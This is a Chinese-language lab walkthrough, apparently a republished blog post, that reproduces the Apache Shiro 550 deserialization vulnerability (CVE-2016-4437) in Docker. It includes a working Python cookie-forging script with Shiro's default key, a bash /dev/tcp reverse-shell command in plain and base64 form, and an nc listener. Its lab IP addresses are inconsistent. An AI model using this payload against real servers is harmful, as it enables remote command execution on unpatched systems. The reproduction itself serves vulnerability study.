CVE-2016-4437(Apache Shiro反序列化漏洞復現Shiro550)


Apache Shiro反序列化漏洞復現(Shiro550,CVE-2016-4437)

0x01 漏洞簡介

Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

影響版本 Shiro <= 1.2.4

### 0x02 環境准備

docker(192.168.18.132)
Kali(192.168.18.133)

環境准備:

1.漏洞環境

Docker pull medicean/vulapps:s_shiro_1獲取docker鏡像
systemctl start docker重啟docker
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1啟動環境把8080端口改為80端口

2.攻擊工具

1)pip3 install pycrypto安裝python中的pycrypto
2)apt install maven安裝MVN
mvn –version驗證
安裝Open JDK 11
Debian 10 默認安裝的 OpenJDK 11 可以滿足運行基於 OpenJDK 開發的 java 應用程序。如果你想使用javac命令編譯代碼,那么你還需要再完成安裝一下。通過以下命令即可完成:
sudo apt-get update
sudo apt-get install default-jdk
安裝完成后可以通過以下命令校驗安裝結果。打開命令終端,輸入:
java -version
3)git clone https://github.com/frohoff/ysoserial.git # 安裝java反序列化payload集成包ysoseri
cd ysoserial
mvn package -DskipTest
4)生成payload的python腳本test.py上傳至/root/ysoserial/target:

 1 import sys
 2 import base64
 3 import uuid
 4 from random import Random
 5 import subprocess
 6 from Crypto.Cipher import AES
 7 
 8 def encode_rememberme(command):
 9 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
10 BS = AES.block_size
11 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
12 key = "kPH+bIxk5D2deZiIxcaaaA=="
13 mode = AES.MODE_CBC
14 iv = uuid.uuid4().bytes
15 encryptor = AES.new(base64.b64decode(key), mode, iv)
16 file_body = pad(popen.stdout.read())
17 base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
18 return base64_ciphertext
19 
20 if __name__ == '__main__':
21 payload = encode_rememberme(sys.argv[1])
22 with open("/tmp/payload.cookie", "w") as fpw:
23 print("rememberMe={}".format(payload.decode()), file=fpw)

0x03 進攻復現

漏洞掃描:

攻擊機ip為33,靶機為32
此時漏洞環境已經搭建成功,如下所示:
攻擊機192.168.10.158訪問靶機144並抓包可看到有rememberme字樣的cookie

漏洞利用:

反彈命令進行加密https://x.hacking8.com/?post=293
bash -i >& /dev/tcp/192.168.18.33/1111 0>&1
加密后如下
>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}

在tmp目錄下生成payload.cookie
>python test.py bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i

將這個偽造的cookie值需要復制到響應包有remember值的包發送得到反彈shell;同時攻擊機多開命令框進行nc的一個端口監聽nc -lvvp 1111,然后再發送偽造的cookie值,

點擊發送偽造的包,此時就能獲得靶機的反彈shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM